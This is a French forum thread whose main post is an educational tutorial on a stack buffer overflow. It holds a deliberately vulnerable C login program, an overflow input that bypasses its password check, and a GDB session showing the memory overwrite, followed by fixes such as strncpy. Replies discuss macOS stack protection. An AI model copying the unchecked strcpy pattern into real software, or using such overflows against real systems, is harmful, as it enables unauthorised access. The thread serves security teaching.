Annonce

Réduire
Aucune annonce.

Notre premier buffer overflow

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Notre premier buffer overflow

    Aujourd'hui, nous allons opérer notre première attaque par buffer overflow.

    Rassurer vous, pour la première fois, nous allons prendre un exemple simple.
    Pour simplifier l'apprentissage, nous allons fonctionner par l'exemple et l'expérimentation.

    Prérequis
    Certains prérequis sont nécessaire pour la bonne compréhension et le bon fonctionnement de ce tutoriel :
    • Connaitre le langage C
    • Disposer d'une machine Linux (physique ou virtuelle) : En effet, ce tutoriel ayant été fait sur Linux, je ne peux pas vous garantir que vous aurez le même résultat si vous êtes sur un autre environnement
    • Savoir utiliser Linux en ligne de commande
    • Avoir GCC et GDB installés
    • Dans une moindre mesure, avoir lu mon article concernant la segmentation de la mémoire : Le sujet ne sera pas explicitement abordé dans ce premier tutoriel sur le buffer overflow mais il vous permettra une meilleur compréhension



    Notre environnement de travail
    Dans le cadre de ce tutoriel, nous allons utiliser le code C suivant :
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int check_authentification(char * password){
    	int auth_flag=0;
    	char password_buffer[16];
    
    	strcpy(password_buffer,password);
    
    	if(strcmp(password_buffer,"AnOnyme77")==0)
    		auth_flag=1;
    	if(strcmp(password_buffer,"Hackademics")==0)
    		auth_flag=1;
    
    	return auth_flag;
    }
    
    int main(int argc,char* argv[]){
    	if(argc<2){
    		printf("Usage %s &lt;password&gt;\n",argv[0]);
    		exit(0);
    	}
    	if(check_authentification(argv[1])){
    		printf("Accesss Granted\n");
    	}
    	else{
    		printf("Accesss Denied\n");
    	}
    }

    La compréhension de ce code ne devrait pas vous poser trop de problèmes.
    Pour ceux qui n'auraient pas compris, ce code est un "portail de connexion" s'ouvrant uniquement si le mot de passe fournit en argument de la ligne de commande est AnOnyme77 ou Hackademics.


    Copiez - Collez ce code dans un fichier nommé auth_overflow.c.

    Compilons le ensuite :
    Code:
    [email protected]:~# gcc -g -o auth_overflow auth_overflow.c
    Dans notre cas, nous utilisons l'option -g de GCC afin de permettre le debuggage du programme par GDB par la suite.

    Après compilation, vous devriez avoir un nouvel exécutable nommé auth_overflow dans le répertoire courant.

    Quelques tests
    Maintenant que nous avons un exécutable, testons le un peu :
    Code:
    [email protected]:~# ./auth_overflow AnOnyme77
    Accesss Granted
    
    [email protected]:~# ./auth_overflow Hackademics
    Accesss Granted
    
    [email protected]:~# ./auth_overflow [email protected]@t
    Accesss Denied
    Jusque là, tout semble se dérouler comme prévu mais que ce passe t'il si l'on essaye de forcer un peu notre serrure virtuelle ?

    Code:
    ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Accesss Granted
    Ici, notre programme nous réponds que l'accès est autorisé.
    Cependant, ce mot de passe ne fait pas partie de ceux autorisés ? Pourquoi notre portail de connexion réagit il de la sorte ?


    Dans le vif du sujet

    Pour comprendre le fonctionnement anormal de notre programme, nous allons étudier son fonctionnement exact à l'aide de GDB.
    Code:
    [email protected]:~# gdb -q ./auth_overflow
    Reading symbols from /root/auth_overflow...done.
    (gdb) list 1
    1	#include &lt;stdio.h&gt;
    2	#include &lt;stdlib.h&gt;
    3	#include &lt;string.h&gt;
    4
    5	int check_authentification(char * password){
    6		int auth_flag=0;
    7		char password_buffer[16];
    8
    9		strcpy(password_buffer,password);
    10
    (gdb)
    11		if(strcmp(password_buffer,"AnOnyme77")==0)
    12			auth_flag=1;
    13		if(strcmp(password_buffer,"Hackademics")==0)
    14			auth_flag=1;
    15
    16		return auth_flag;
    17	}
    18
    19	int main(int argc,char* argv[]){
    20		if(argc&lt;2){
    (gdb)
    21			printf("Usage %s &lt;password&gt;\n",argv[0]);
    22			exit(0);
    23		}
    24		if(check_authentification(argv[1])){
    25			printf("Accesss Granted\n");
    26		}
    27		else{
    28			printf("Accesss Denied\n");
    29		}
    30	}(gdb)
    Line number 31 out of range; auth_overflow.c has 30 lines.
    (gdb) break 9
    Breakpoint 1 at 0x40064f: file auth_overflow.c, line 9.
    (gdb) break 16
    Breakpoint 2 at 0x40069a: file auth_overflow.c, line 16.
    Ici, nous lançons GDB et plaçons des breakpoints en ligne 9 et 16.
    Pour ceux qui ne connaitraient pas l'utilité des breakpoints, ceux-ci permettent de stopper l'exécution du programme juste avant la ligne signalée par le breakpoint.
    Cette pause permet d'analyser le contenu de la mémoire du programme et donc de mieux en comprendre le fonctionnement.

    Lançons maintenant notre programme dans GDB avec le même argument que celui donné à la ligne de commande :
    Code:
    (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Starting program: /root/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Breakpoint 1, check_authentification (password=0x7fffffffee66 'A' &lt;repeats 30 times&gt;) at auth_overflow.c:9
    9		strcpy(password_buffer,password);
    Nous remarquons que le programme est bien arrêté au premier breakpoint.

    Analysons donc l'état de ses variables :
    Code:
    (gdb) x/s password_buffer
    0x7fffffffeb30:	 "\001"
    (gdb) x/x &amp;auth_flag
    0x7fffffffeb4c:	0x00
    Comme nous sommes dans la fonction check_authentification, nous pouvons accéder à ses variables.
    Nous pouvons alors voir que :
    • password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient des données aléatoires
    • auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0


    Calculons l'écart mémoire entre nos deux variables :
    Code:
    (gdb) print 0x7fffffffeb4c - 0x7fffffffeb30
    $1 = 28
    Nous voyons que celui-ci est de 28 octets. Auth_flag est donc stocké 28 octets après password_buffer.

    L'instruction suivante nous permettra donc de localiser auth_flag tout en s'intéressant uniquement à password_buffer :
    Code:
    (gdb) x/16xw password_buffer
    0x7fffffffeb30:	0x00000001	0x00000000	0x0040077d	0x00000000
    0x7fffffffeb40:	0xf7a61c48	0x00007fff	0x00400720	!!!0x00000000!!!
    0x7fffffffeb50:	0xffffeb70	0x00007fff	0x004006ea	0x00000000
    0x7fffffffeb60:	0xffffec58	0x00007fff	0x00000000	0x00000002
    Nous pouvons retrouver la valeur de auth_flag (que j'ai ici mise entouré de points d'exclamation).

    Après ces inspections, laissons le programme continuer et aller jusqu'à son second breakpoint et réanalysons la mémoire de nos variables :
    Code:
    gdb) continue
    Continuing.
    
    Breakpoint 2, check_authentification (password=0x7fffffffee66 'A' &lt;repeats 30 times&gt;) at auth_overflow.c:16
    16		return auth_flag;
    (gdb) x/s password_buffer
    0x7fffffffeb30:	 'A' &lt;repeats 30 times&gt;
    (gdb) x/x &amp;auth_flag
    0x7fffffffeb4c:	0x41
    (gdb) x/16xw password_buffer
    0x7fffffffeb30:	0x41414141	0x41414141	0x41414141	0x41414141
    0x7fffffffeb40:	0x41414141	0x41414141	0x41414141	0x00004141
    0x7fffffffeb50:	0xffffeb70	0x00007fff	0x004006ea	0x00000000
    0x7fffffffeb60:	0xffffec58	0x00007fff	0x00000000	0x00000002
    Cette analyse nous dit que :
    • password_buffer se trouve à l'adresse 0x7fffffffeb30 et contient 30 caractères A
    • auth_flag se trouve à l'adresse 0x7fffffffeb4c et contient la valeur hexadécimale 0x00004141

    Il n'est pas logique que la variable password_buffer puisse contenir 30 caractères A. Souvenez vous que ce buffer ne fait que 16 caractère.

    Et en effet, comme on peut le voir sur la dernière commande dans GDB, la variable password_buffer à dépasser de son emplacement mémoire et a écrit sur des adresses mémoire qui ne lui étaient pas allouées. Elle a même écrasé le début de la variable auth_flag ! Nous avons notre buffer overflow..

    Celui-ci est du au fait que la fonction strcpy copie les données d'un buffer vers un autre sans se soucier de la taille du buffer de destination. Il peut donc très bien lui arriver de "déborder" dans une mémoire qui n'est pas allouée à ce buffer.

    De ce fait, la variable auth_flag a pris la valeur hexadécimale 0x00004141.
    Que vaut cette valeur en décimal ?

    Code:
    (gdb) x/dw &amp;auth_flag
    0x7fffffffeb4c:	16705
    Auth_flag vaut donc 16705.

    Si nous demandons à GDB de continuer l'exécution, il nous affiche alors le message suivant :
    Code:
    (gdb) continue
    Continuing.
    Accesss Granted
    En effet, comme en C toute variable numérique non nulle étant l'équivalant d'un True, lorsque la valeur de auth_flag est retourné à la condition gérant la bonne connexion, celle-ci autorise l'accès.

    Se protéger de cet overflow basique
    Il existe plusieurs méthodes pour protéger son code de ce type de buffer overflow.
    Dans celles-ci, on peut proposer de :
    • Inverser l'ordre de déclaration de auth_flag et de password_buffer dans notre méthode check_authentification : Cela aura pour effet de placer auth_flag avant password_buffer dans la mémoire. Ainsi, si il déborde, il n'écrasera pas la valeur de auth_flag, cependant, il débordera tout de même, ce qui pourrait poser d'autres problèmes comme on le verra dans un tutoriel suivant.
    • Remplacer l'invocation à la fonction strcpy par celle-ci :
      Code:
      strncpy(password_buffer,password,sizeof(password_buffer));
      La fonction strncpy ne copiera en effet dans password_buffer que le nombre de bytes qu'il peut contenir. Cela nous préviendra donc du buffer overflow.


    Le mot de la fin
    Ce tutoriel est maintenant terminé. N'hésitez surtout pas à poser des questions si certains aspects vous paraissent flous.
    Je serai bien entendu disponible pour y répondre.

    Pour les plus techniciens d'entre vous, vous aurez remarqué que ce type de buffer overflow se fait dans la pile (étant donné que nous jouons avec les variables d'une fonction).
    Dans un tutoriel suivant, nous exploiterons le même type de faille (overflow dans la pile) afin de nous garantir un accès en root sur la machine cible.
    Dernière modification par fred, 13 août 2015, 15h52.

  • #2
    Merci Anonyme. Ton tutoriel est bien écrit,propre et sans rallonge de trop, juste ce qu'il faut. Franchement, tu m'a expliquer "buffer overflow" comme une lettre à la poste. Je ne savais pas que tu coder en C. Personnellement, j'ai les notions mais suis vraiment pas doué sur ce langage mais j'aime quand on me l'explique au travers de tutoriels de cette qualité.

    J'ai tout compris et du premier coup. Je pense que la tu tiens un bon filon à travailler et vraiment je compte suivre tout ça avec attention (j'ai mis les 2 pages comme celle de Fred en Favoris).

    A plus.

    Commentaire


    • #3
      Merci Dreamus, que de compliments !

      Je compte en effet continuer, j'ai encore plusieurs types de buffer overflow à expliquer :
      • Overflow dans la pile par écrasement de l'adresse de retour
      • Overflow dans la pile par écrasement de la valeur de retour avec utilisation des variables d'environnement
      • Overflow via les pointeurs de fonction
      • Overflow dans le tas
      • ...


      Je suis en fait le livre "Techniques de Hacking" de Jon Erickson et je vous réécris le tout selon ma compréhension.

      Bre, merci de tes compliments et ne t'en fais pas ce n'est qu'un début (tant que je suis toujours en vacances)

      Commentaire


      • #4
        @Anonyme77,

        Démarche très bien exprimée

        Par contre

        #include <stdio.h>;
        #include <stdlib.h>;
        #include <string.h>;
        Pourquoi des points virgule en fin de ligne ?

        Ensuite je regrette une chose, c'est que tu n'exprimes pas d'où vient la faille... Elle vient de la fonction strcpy qui ne vérifie pas si la chaîne de destination est d'une longueur suffisante pour faire la copie de la chaîne source, on écrase (comprendre réécrire) donc impunément des cases mémoire déjà occupées.

        À part strncpy, on peut aussi utiliser strdup, mais ça ce n'est qu'un détail, par contre c'est très bien d'avoir parlé de la solution strncpy

        Le lecteur peut se poser la question, pourquoi se protéger du Buffer Overflow, quels en sont les dangers ? Surtout si tu continues dans la voie des tutoriels parlant de cette faille

        -----------------------------

        Disposer d'une machine Linux (physique ou virtuelle) : En effet, ce tutoriel ayant été fait sur Linux, je ne peux pas vous garantir que vous aurez le même résultat si vous êtes sur un autre environnement
        Pourquoi? Tu utilises bien des librairies standards, non ?

        -----------------------------

        Merci pour le tutoriel...
        Dernière modification par fred, 13 août 2015, 08h39.

        Commentaire


        • #5
          @fred, merci beaucoup pour tes remarques. Elles sont comme toujours très constructives !

          #include <stdio.h>;
          #include <stdlib.h>;
          #include <string.h>;
          Le problème vient ici de la transformation entre le HTML de mon blog infosec et la structure d'une réponse sur le forum. Je n'avais pas vu et maintenant je ne sais plus modifier ma réponse.
          Si un admin peut le faire ?

          Concernant l'origine de la faille, c'est vrai que ce n'est pas explicitement expliqué. Je ferai mieux dans les tutos suivants.
          Et justement en fait c'est dans ceux là que j'aimerais explique, au fur et à mesure quels sont les risques réels du buffer overflow (ajout de shellcode, modification de fichiers root, ...)


          Pourquoi? Tu utilises bien des librairies standards, non ?
          Si si on utilise des librairies standard mais j'ai par exemple remarqué sur sur OSX, on récupère une erreur dès que l'on dépasse du buffer et ça, même avec strcpy.
          C'est pour ça que j'ai conseillé de le faire sur Linux.

          Encore une fois merci pour tes remarques. J'en prendrai compte pour les suivants.

          Si un admin peut corriger la petite erreur de ; dans le code ça serait sympa

          Commentaire


          • #6
            Concernant l'origine de la faille, c'est vrai que ce n'est pas explicitement expliqué. Je ferai mieux dans les tutos suivants.
            Et justement en fait c'est dans ceux là que j'aimerais explique, au fur et à mesure quels sont les risques réels du buffer overflow
            T'étais sur une bonne lancée, tu peux encore modifier, suffit de me dire quoi et où, et j'éditerais ton tuto...

            Si si on utilise des librairies standard mais j'ai par exemple remarqué sur sur OSX, on récupère une erreur dès que l'on dépasse du buffer et ça, même avec strcpy.
            Tu avais fais plusieurs essais ?

            Si un admin peut corriger la petite erreur de ; dans le code ça serait sympa
            Fait !

            Commentaire


            • #7
              Peux tu alors rajouter cette phrase après "nous avons notre buffer overflow" :

              Celui-ci est du au fait que la fonction strcpy copie les données d'un buffer vers un autre sans se soucier de la taille du buffer de destination.
              Il peut donc très bien lui arriver de "déborder" dans une mémoire qui n'est pas allouée à ce buffer.
              Concernant le cas sous OSX, dès que je dépasse du buffer, j'ai l'erreur suivante :
              Code:
              14:09:02: [email protected]
              Desktop> ./auth_overflow AAAAAAAAAAAAAAAA
              Abort trap: 6
              Et ce quelque soit la taille de mon input (tant qu'elle est supérieure à la taille autorisée).

              Commentaire


              • #8
                Tu as 2 possibilités,
                1. Changer de norme, C89 par exemple, à tester
                2. Créer ta propre fonction de copie



                Code:
                void mystrcpy(char *s1,char *s2){
                    while ((*s1++ = *s2++));
                }
                À tester donc

                Commentaire


                • #9
                  Je n'ai pas encore testé de changer la norme dont tu m'as parlé mais l'utilisation de ma propre fonction donne le même résultat (abort trap 6)

                  Commentaire


                  • #10
                    Regardes dans tes options de compilation si l'option fno-stack-protector n'est pas coché, c'est lui qui doit provoquer (protéger) contre les dépassement mémoire.

                    Commentaire

                    Chargement...
                    X